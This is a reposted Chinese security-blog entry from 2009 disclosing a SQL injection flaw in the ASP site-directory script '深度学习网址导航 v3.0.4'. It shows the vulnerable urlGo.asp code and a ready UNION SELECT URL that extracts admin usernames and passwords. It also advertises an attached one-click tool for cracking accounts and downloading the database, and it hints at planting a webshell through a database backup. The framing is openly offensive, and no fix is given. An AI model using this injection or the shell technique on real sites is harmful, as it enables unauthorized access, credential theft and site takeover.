pc软件 文章资讯 手机软件

您当前的位置→图文中心安全防范深度学习(asp)网址导航v3.0.4 0day
阅读排行

深度学习(asp)网址导航v3.0.4 0day


2009/10/12  编辑:admin 来源:转载

んㄗ葑訫鎖愛'S  Blog  http://www.virusest.com/

深度学习(asp)网址导航 v3.0.4 存在Sql注入漏洞

问题代码urlGo.asp:

<!--#include file="connDB.asp"-->

<!--#include file="include/Function.Common.asp"-->

<%

id=request.QueryString("id")

if id="" then

 response.Redirect("/")

end if

'-----网址--------------

Set rsWebUrl=Server.CreateObject("Adodb.Recordset")

sqlC="select  * from tWebUrl where fpassed=1 and fid=" & id

rsWebUrl.open sQLC,conn,0,1

if rsWebUrl.Eof and rsWebUrl.Bof then

 response.Redirect("/")

else

%>

很明显,可以注入,而且头文件由于程序员疏忽,很配合的没调用防注入系统.其他文件均调用防注入.

利用:注意注入点用明小子或者啊D检测不出来,简单写下注入语句:

http://localhost/urlGo.asp?id=4233%20and%201=2%20union%20select%201,2,fusername,4,5,6,7,8,9,10%20from%20tAdmin

查密码只需把fusername改成fpassword,但是在测试的时候,发现因版本不同,可能表段长度不同,如果提示列数不匹配,则换成9个即可.

这里我写了利用工具,傻瓜式入侵,其中,ID值为在搜索引擎中看到的ID,如图:

工具集成了暴密码账号,后台访问,数据库下载MD5破解等功能,工具和源码见附件.

未加壳,欢迎篡改版权!好久没写程序了,就当练手吧!

Ps:后台拿Shell比较费劲,提示空壳数据库,先恢复在备份,再一句话!

相关文章

AlphaGo深度揭秘:今日,在乌镇围棋峰会人工智能高峰论坛上,AlphaGo之父、DeepMind创始人戴密斯·哈萨比斯(DemisHassabis)和DeepMind首席科学家大卫·席尔瓦(DavidSilver)在论坛上透露了关于...。

海豚网游加速器效果深度评测报告:不知道各位小伙伴是否曾经为网络发过愁呢?外服游戏大多不会在大陆设置服务器,因此坐标在国内的小伙伴通常很容易因数据传输方面出现问题,而遇到游戏很卡、延迟高等情况,有时候还会掉线登录不了。

[2015-3-19]更新免费软件[深度整理]:[2015-3-19]更新免费软件[深度整理]今日更新软件列表【开关定时】蕊蕊定时器v2.1【网络共享】猎豹免费WiFiv5.1.15031611【网络加速】海豚网游加速器v2.5.1.1225【网络辅助】12306分流抢票软件v1.9.3...。

发表评论
网站帮助 - 广告合作 - 下载声明 - 网站地图